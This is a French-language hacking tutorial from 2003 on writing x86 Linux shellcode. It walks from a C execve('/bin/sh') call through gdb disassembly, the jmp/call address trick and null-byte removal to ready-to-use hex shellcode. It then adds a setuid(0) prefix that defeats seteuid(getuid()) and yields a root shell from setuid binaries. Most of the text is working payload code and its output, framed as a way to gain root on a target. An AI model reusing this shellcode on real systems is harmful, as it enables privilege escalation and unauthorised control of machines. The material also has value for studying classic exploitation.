Un hacker est comparable à une personne placé à l'entrée des portes d'une très grosse entreprises, guettant l'apparition d'une
brèche dans son système de sécurité afin de s'y infiltrer. Il réussit à gagner des privilèges, par exemple, via la création d'exploit. Qu'est-ce qu'un exploit ? S0RC3Ry, du défunt groupe phe et auteur de Noroute, définit ce terme dans la première issue de cet e-zine mythique : "L'exploit est un petit programme ou un
série de commande trouvées par un ingénieux bonhomme qui permet souvent de chopper l'accès root sur un système". (on distingue les exploits locaux, un user cherchant à devenir root, et les exploits remote, un user obtenant un compte sur une machine via une faille de serveur entre autres).
Un hacker tentera, pour cela, d'agir sur le contenu de la stack afin d'écraser l'adresse de retour d'une fonction (stack overflow) et de faire exécuter à l'application un code arbitraire via un shellcode. Tout devient intéressant si l'application en questions possède le bit setuid ou si c'est un démon. Notre hacker va donc programmer un morceau de code capable de lancer un shell, suivi peut être d'autres actions (modifications des permissions du fichier etc/passwd...). Ce programme, petit et en assembleur, capable de lancer un shell est appelé shellcode et, par extension, capable de lancer toute commande de shell (en effet, par des méthodes sophistiqué d'éthymologie araméno-hébraïquo roumaine, on s'aperçoit que ce mot est formé de "shell" et code, d'où : code de shell ;). Ainsi, si on programme un shellcode qui fera lancer un shell à une application ayant les privilèges de root, le shell - donc le hacker - aura les droits de root, selon le principe de l'endossement (qui dit qu'une application est lancé avec les droits de celui qui l'appelle, voir mon tutorial "privilège sous unix"). Assez parler,
passons à la programmation de notre shellcode.
I. PROGRAMMATION DU SHELLCODE
----------------------------------------------
Rappelons-nous que la fonction principale d'un shellcode est d'exécuter un shell. Ce programme est donc un shellcode :
#include <stdio.h>
#include <unistd.h>
int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
return (0);
}
Première controverse : plusieurs fonctions peuvent appeler un shell. Pourquoi utiliser execve ? Eh bien, cette fonction est un syscall (appel-système), contrairement aux autres exec(). Or, rappelez-vous qu'un shellcode est programmé en assembleur. Par conséquent, il ne faut utiliser que des syscalls, car un appel-système s'effectue directement par une interruption. Cela nous permettra d'avoir un code efficace et court puisqu'on aura qu'à déterminer les registes impliqués et leur contenu.
Pour le moment, tout semble parfait, mais non. Rappelons que notre code est inséré au beau milieu de l'application attaqué. Si execve () plante, le programme continue à la suite, ce qui peut avoir des conséquences très grave. On ne peut donc pas terminer par un return(0), car cette dernière commande ne permettra de quitter le programme que si elle est appelé depuis main(), ce qui est très peu probable ici. Il faut forcer la sortie via _exit() (et pas exit() car cette fonction dérive du syscall _exit()). :
#include <stdio.h>
#include <unistd.h>
int main()
{
char * name [] = {"/bin/sh", NULL};
execve (name [0], name, NULL);
_exit (0);
}
En réalité, exit() est encore une fonction de bibliothèque qui encadre le véritable appel-système nommé _exit(). Une nouvelle modification nous rapproche encore plus du système :
A présent, il nous faut analyser ce programme dans son équivalent en assembleur. Compilons notre programme :
$ gcc -o shellcode shellcode.c -O2 -g --static (--static intègre les fonctions qui se trouvent d'ordinaire dans les bibliothèques partagées).
$ gdb shellcode
(gdb) disassemble main (on lui demande le listing assembleur de main())
Dump of assembler code for function main:
0x8048168 <main>: push %ebp
0x8048169 <main+1>: mov %esp,%ebp
0x804816b <main+3>: sub $0x8,%esp
0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp)
0x804817c <main+20>: mov $0x8071ea8,%edx
0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp)
0x8048184 <main+28>: push $0x0
0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax
0x8048189 <main+33>: push %eax
0x804818a <main+34>: push %edx
0x804818b <main+35>: call 0x804d9ac => _execve
0x8048190 <main+40>: push $0x0
0x8048192 <main+42>: call 0x804d990 => _exit
0x8048197 <main+47>: nop
End of assembler dump.
(gdb)
On devrait noter tout de suite qu'en 0x804817c, en met dans %edx 0x8071ea8, qui ressemble à une adresse. Si on examine le contenu mémoire à cette adresse on s'aperçoit qu'il s'agit de notre chaîne :
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
Bon, on regarde le désassemblage de _execve :
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>: push %ebp
0x804d9ad <__execve+1>: mov %esp,%ebp
0x804d9af <__execve+3>: push %edi
0x804d9b0 <__execve+4>: push %ebx
0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi
0x804d9b4 <__execve+8>: mov $0x0,%eax
0x804d9b9 <__execve+13>: test %eax,%eax
0x804d9bb <__execve+15>: je 0x804d9c2
0x804d9bd <__execve+17>: call 0x0
0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push %ebx
0x804d9c9 <__execve+29>: mov %edi,%ebx
0x804d9cb <__execve+31>: mov $0xb,%eax
0x804d9d0 <__execve+36>: int $0x80
0x804d9d2 <__execve+38>: pop %ebx
0x804d9d3 <__execve+39>: mov %eax,%ebx
0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe 0x804d9eb
0x804d9dd <__execve+49>: call 0x8048c84 => _errno_location
0x804d9e2 <__execve+54>: neg %ebx
0x804d9e4 <__execve+56>: mov %ebx,(%eax)
0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov %ebx,%eax
0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop %ebx
0x804d9f1 <__execve+69>: pop %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>: mov %ebx,%edx
0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804d996 <_exit+6>: mov $0x1,%eax
0x804d99b <_exit+11>: int $0x80
0x804d99d <_exit+13>: mov %edx,%ebx
0x804d99f <_exit+15>: cmp $0xfffff001,%eax
0x804d9a4 <_exit+20>: jae 0x804dd90 => _syscall_error
End of assembler dump.
(gdb) quit
En 0x804d9d0 pour execve() et en 0x804d99b pour _exit(), on passe la main au kernel pour qu'il gère les syscalls via l'interruption 0x80. Ce qui change dans les cas, c'est la valeur de %eax, qui contient le numéro correspondant au syscall : 0x0B pour execve() et 0x01 dans le cas de _exit()
En examinant plus précisemment le code de désassemblage de execve() et _exit(), on trouve les paramètres nécessaire :
-> execve() réclame les paramètres suivants :
* %ebx contient l'adresse de la chaîne de caractères "/bin/sh" ici (0x804d9b1 : mov 0x8(%ebp),%edi suivi de 0x804d9c9 : mov %edi,%ebx) ;
* %ecx contient l'adresse de la table des arguments (0x804d9c2 : mov 0xc(%ebp),%ecx). Le premier argument doit être le nom du programme et nous n'en avons pas besoin d'autre, on le fait donc suivre du pointeur NULL nous conviendra ;
* %edx contient l'adresse de la table représentant l'environnement du programme à lancer (0x804d9c5 : mov 0x10(%ebp),%edx). Pour rester simple, on prendra un pointeur NULL.
-> _exit() termine le processus, et renvoie un code d'exécution à son appellant (le shell), contenu dans le registre %ebx. On aura donc besoin de la chaîne "/bin/sh", d'un pointeur sur chaîne et d'un pointeur NULL (pour les arguments et l'environnement). Pour l'état des registres, on aura alors %ebx qui pointera directement vers la chaîne, %ecx vers la table complète, et %edx vers le second élément de la table (NULL).
Eh bien, ce n'est pas si compliqué que cela ;)
***LOCALISATION DU SHELLCODE***
Comme un shellcode est introduit dans un programme vulnérable via une variable, une chaîne ou un argument d'une commande, son adresse en mémoire est inconnue. Or, il nous la faut pour connaître l'adresse de "/bin/sh". On a deux solutions.
1) Elle est simple mais n'est pratique que pour les chaîne petites. Le principe est de pusher la chaîne sur la stack et récupérer l'adresse de %esp (le stack-pointer). Donc, on push 14 octets sur la stack par mot de 4 octets (c'est obligatoire).
Évidemment, on doit modifier notre chaîne pour qu'elle soit un multiple de 4, donc on pushera en fait la chaîne : "/bin//sh" (car sinon elle ne fait que 7 octets). On passe en hexadécimal chaque caractère et on les
push à l'envers, sans oublier de commencer par pusher 0 pour que la chaîne se termine bien par un "\0". On pushera donc d'abord "hs//" (c'est du verlan, eh ouais ;) puis "nib/".
Évidemment, on commence apr pusher "\0" (caractère de fin de chaîne) :
xorl %eax, %eax (on met à 0)
pushl %eax (on pushe un caractère null sur la stack)
pushl 0x68732F2F (vous aurez compris que x68 = h, x73 = s...)
pushl 0x6E69622F
2) On utilise une astuce, très bien détaillé dans un article de Pr1on pour Phrack. Lors d'un call, le processeur
push l'adresse de retour (celle de la prochaine instruction à exécuter). Normalement, l'étape suivante est de sauvegarder l'état de la pile (en particulier le registre %ebp par l'instruction push %ebp). Pour récupérer, dès le call, l'adresse de retour, il suffit de dépiler avec l'instruction pop. Bien entendu, immédiatement après le call, on pushera
notre chaîne "/bin/sh". On procédera donc de la sorte :
début_du_shellcode:
jmp appel_sous_routine
sous_routine: (soit execve() qui donne la main au shell, soit _exit())
popl %esi (%esi fournit l'adresse de "/bin/sh"
...
(Shellcode proprement dit)
...
appel_sous_routine:
call sous_routine
/bin/sh
Il n'y a plus qu'à construire la table en la situant juste après la chaîne elle-même : son premier élément (en %esi + 8, longueur de "/bin/sh\0") contient la valeur du registre %esi, et le second (en %esi + 12) une adresse nulle (32 bits). Le code pour récupérer l'adresse du shellcode sera alors :
popl %esi
movl %esi, 0x8(%esi)
movl $0x00, 0xc(%esi)
On a maintenant tout pour programmer notre shellcode. Mais avant, il faut un peu de réflexion. Les fonctions vulnérables sont du genre strcpy() (traitement de chaîne) ; or, elle bloquent dès qu'elles trouvent un caractère nul. Ainsi, on doit les supprimer dans le code en les remplaçant par des équivalents, du style :
movl $0x00, 0x0c(%esi) ==> xorl %eax, %eax
movl %eax, %0x0c(%esi)
Ici, c'est simple. Mais parfois, c'est en traduisant un hexa qu'on tombe sur un NULL. Par exemple, en 0x804d996 : mov $0x1,%eax, %eax vaut 1 pour différencier le syscall _exit(0) des autres. Converti en hexadécimal, cela donne :
b8 01 00 00 00 mov $0x1,%eax
L'idée est donc, en l'occurrence, d'initialiser %eax (par registre qui vaut 0) puis de l'incrémenter.
On peut aussi, par sécurité, rajouter manuelle l'octet nul de fin de chaîne avec :
movb %eax, 0x07(%esi) (movb ne travaille que sur un octet => on remplace %eax par %al)
II. CONSTRUCTION DU SHELLCODE PROPREMENT DIT
-------------------------------------------------------------------
Maintenant, nous n'avons plu besoin de rien. Réécrivons shellcode.c avec son code
assembleur, qu'on traduira ensuite en hexadécimal :
int main()
{
asm("jmp appel_sous_routine
sous_routine:
popl %esi // on récupère l'adresse de la chaîne
movl %esi,0x8(%esi) // on l'écrit en première position dans la table
xorl %eax,%eax // puis on écrit le nul
movl %eax,0xc(%esi)
movb %eax,0x7(%esi) // on place \0 en fin de chaîne
movb $0xb,%al // execve()
movl %esi, %ebx // la chaîne se retrouve dans %ebx
leal 0x8(%esi),%ecx // %ecx contient la table arguments
leal 0xc(%esi),%edx // %edx contient la table environnement
int $0x80 // syscall
xorl %ebx,%ebx // code de retour nul
movl %ebx,%eax // %eax = 1
inc %eax
int $0x80 // on passe la main au kernel qui gère le syscall
appel_sous_routine:
call sous_routine
.string \"/bin/sh\"
");
}
On compile :
gcc -o shellcode shellcode.c" puis
objdump --disassemble shellcode permet de s'assurer qu'il n'y a plus d'octets nul :
08048398 <main>:
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
804839b: eb 1f jmp 80483bc
0804839d <sous_routine>:
804839d: 5e popl %esi
804839e: 89 76 08 movl %esi,0x8(%esi)
80483a1: 31 c0 xorl %eax,%eax
80483a3: 89 46 0c movb %eax,0xc(%esi)
80483a6: 88 46 07 movb %al,0x7(%esi)
80483a9: b0 0b movb $0xb,%al
80483ab: 89 f3 movl %esi,%ebx
80483ad: 8d 4e 08 leal 0x8(%esi),%ecx
80483b0: 8d 56 0c leal 0xc(%esi),%edx
80483b3: cd 80 int $0x80
80483b5: 31 db xorl %ebx,%ebx
80483b7: 89 d8 movl %ebx,%eax
80483b9: 40 incl %eax
80483ba: cd 80 int $0x80
080483bc <appel_sous_routine>:
80483bc: e8 dc ff ff ff call 804839d //sous_routine
80483c1: 2f das
80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp
80483c5: 2f das
80483c6: 73 68 jae 8048430
80483c8: 00 c9 addb %cl,%cl
80483ca: c3 ret
80483cb: 90 nop
80483cc: 90 nop
80483cd: 90 nop
80483ce: 90 nop
80483cf: 90 nop
A partir de 80483c1, les données sont les caractères de "/bin/sh" et des octets "aléatoires". Le code est bien exempt de zéro, excepté le caractère nul de fin de chaîne en 80483c8, que le programme réécrira de toute manière. Tout à l'air de fonctionner. Cependant, si on teste le shellcode, on obtient un segfault :
$ ./shellcode
Segmentation fault (core dumped)
$
On notera vite que la zone de mémoire où la fonction main() se situe est en lecture seule. Les modifications que notre shellcode y apporte sont donc interdites... aïe!
Mais nous, on veut tester notre shellcode. Pour contourner cela, il faut placer le shellcode dans une zone de données, dans une table déclarée en variable globale. Pour l'exécuter on va remplacer l'adresse de retour de main() (qui est dans la stack) par l'adresse de la table contenant le shellcode, la table de caractères deux emplacements en dessous de la première position dans la pile, là où se situe le pointeur que nous déclarons en variable locale.
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
/* le +2 va se comporter comme un décalage de 2 mots */
/* (i.e. 8 octets) vers le haut de la pile : */
/* - le premier pour le mot réservé pour la variable locale */
/* - le second pour le registre %ebp sauvegardé */
* ((int *) & ret + 2) = (int) shellcode; // le + 2 équivaut à un décalage de 8 octets vers return (0); // le haut de la stack (les 4 premiers sont // réservé pour la variable local et les autre //pour %ebp)
}
On teste et, bingo ;) :
$ cc shellcode.c -o shellcode
$ ./shellcode
bash$ exit
$
Vérifions qu'il fait bien son boulot en installant le programme shellcode ayant le setuid root, et contrôler que le shell lancé appartient bien au root :
$ Nocte
Password:
# chown root.root shellcode
# chmod +s shellcode
# exit
$ ./shellcode
bash# whoami
root
bash# exit
$
III. OBTENTION DES DROITS DE ROOT
-----------------------------------------------
Ce shellcode est tout de même assez limité niveau capacité. S'il devient :
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
on fixe l'EUID du process à la valeur du RUID. Le shell s'exécute alors sans privilège particulier.
Cependant, seteuid(getuid()) n'est pas très secure : en insérant l'équivalent de setuid(0); au début du shellcode, on récupère les droits de l'euid initial (droits de root) :
char setuid[] =
"\x31\xc0" /* xorl %eax, %eax */
"\x31\xdb" /* xorl %ebx, %ebx */
"\xb0\x17" /* movb $0x17, %al */
"\xcd\x80";
Intégrons cela à notre shellcode pour avoir un shellcode qui casse la protection seteuid(getuid()) :
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
On vérifie... et ça marche :
$ Nocte
Password:
# chown root.root shellcode
# chmod +s shellcode
# exit
$ ./shellcode
bash# whoami
root
bash# exit
$
III. DEJA PAS MAL
----------------------
Comme le montre ce dernier exemple, on peut rajouter des fonctions à notre shellcode. J'espère écrire un prochain article qui traite d'autres fonctions, comme des shellcodes cassant des chroot(), ou même l'ouverture en remote d'un shell via une socket.
Pour cette fois-ci, ça n'était pas si mal. Si vous avez bien assimilé mon article sur els privilèges unix et connaissez les bases de l'assembleur, vous avez du comprendre sans gros problème. C'était même d'une clareté hallucinante!
J'espère que cela vous aura appris des choses, comme l'utilité d'un shellcode, ses possibilités, sa programmation.
++
Nocte, le 16 avril 2003
à lire : l'incontournable "Smashing the stack for fun and profit" d'Aleph One.